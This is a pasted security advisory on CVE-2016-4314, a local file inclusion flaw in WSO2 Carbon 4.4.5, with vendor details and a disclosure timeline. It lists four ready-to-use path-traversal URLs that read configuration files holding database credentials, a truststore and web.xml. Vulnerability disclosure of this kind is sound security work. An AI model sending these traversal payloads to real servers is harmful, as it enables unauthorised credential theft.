Advertisement
FenixCT

WSO2 Carbon 4.4.5 Local File Inclusion

Aug 19th, 2016
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.61 KB | None | 0 0
  1. [+] Credits: John Page aka HYP3RLINX
  2.  
  3. [+] Website: hyp3rlinx.altervista.org
  4.  
  5. [+] Source:
  6. http://hyp3rlinx.altervista.org/advisories/WSO2-CARBON-v4.4.5-LOCAL-FILE-INCLUSION.txt
  7.  
  8. [+] ISR: ApparitionSec
  9.  
  10.  
  11. Vendor:
  12. ===============
  13. www.wso2.com
  14.  
  15.  
  16.  
  17. Product:
  18. ====================
  19. Ws02Carbon v4.4.5
  20.  
  21. WSO2 Carbon is the core platform on which WSO2 middleware products are
  22. built. It is based on Java OSGi technology, which allows
  23. components to be dynamically installed, started, stopped, updated, and
  24. uninstalled, and it eliminates component version conflicts.
  25. In Carbon, this capability translates into a solid core of common
  26. middleware enterprise components, including clustering, security,
  27. logging, and monitoring, plus the ability to add components for specific
  28. features needed to solve a specific enterprise scenario.
  29.  
  30.  
  31.  
  32. Vulnerability Type:
  33. =========================
  34. Local File Inclusion (LFI)
  35.  
  36.  
  37.  
  38. CVE Reference:
  39. ==============
  40. CVE-2016-4314
  41.  
  42.  
  43.  
  44. Vulnerability Details:
  45. =====================
  46.  
  47. An authenticated user can download configuration files in the filesystem
  48. via downloadArchivedLogFiles operation in LogViewer admin service.
  49. The request to the admin service accepts a file path relative to the carbon
  50. log file directory (i.e. <WSO2_PRODUCT_HOME>/repository/logs)
  51. hence can access any file in the file system.
  52.  
  53.  
  54. References:
  55. https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0098
  56.  
  57.  
  58. Example: accessing the registry.xml file via Local File Inclusion exposes
  59. the MySQL passwords.
  60.  
  61. <currentDBConfig>mysql-db</currentDBConfig>
  62. <dbConfig name="mysql-db">
  63. <url>jdbc:mysql://localhost:3306/regdb</url>
  64. <userName>regadmin</userName>
  65. <password>regadmin</password>
  66. <driverName>com.mysql.jdbc.Driver</driverName>
  67. <maxActive>80</maxActive>
  68. <maxWait>6000</maxWait>
  69. <minIdle>5</minIdle>
  70. </dbConfig>
  71.  
  72.  
  73.  
  74. Exploit code(s):
  75. ===============
  76.  
  77. LFI to read Database creds, truststore key file, web.xml etc...
  78.  
  79. 1) Read MySQL creds
  80. https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/conf/registry.xml&tenantDomain=&serviceName=
  81.  
  82. 2) Read MySQL creds
  83. https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/conf/datasources/master-datasources.xml
  84.  
  85. 3) Access Truststore Key file.
  86. https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/resources/security/client-truststore.jks
  87.  
  88.  
  89. 4) Read web.xml
  90. https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/conf/tomcat/carbon/WEB-INF/web.xml
  91.  
  92.  
  93.  
  94. Disclosure Timeline:
  95. ===========================================
  96. Vendor Notification: May 6, 2016
  97. Vendor Acknowledgement: May 6, 2016
  98. Vendor Fix / Customer Alerts: June 30, 2016
  99. August 12, 2016 : Public Disclosure
  100.  
  101.  
  102.  
  103. Exploitation Technique:
  104. =======================
  105. Local
  106.  
  107.  
  108.  
  109. Severity Level:
  110. ===============
  111. High
  112.  
  113.  
  114.  
  115. [+] Disclaimer
  116. The information contained within this advisory is supplied "as-is" with no
  117. warranties or guarantees of fitness of use or otherwise.
  118. Permission is hereby granted for the redistribution of this advisory,
  119. provided that it is not altered except by reformatting it, and
  120. that due credit is given. Permission is explicitly given for insertion in
  121. vulnerability databases and similar, provided that due credit
  122. is given to the author. The author is not responsible for any misuse of the
  123. information contained herein and accepts no responsibility
  124. for any damage caused by the use or misuse of this information. The author
  125. prohibits any malicious use of security related information
  126. or exploits by the author or elsewhere.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement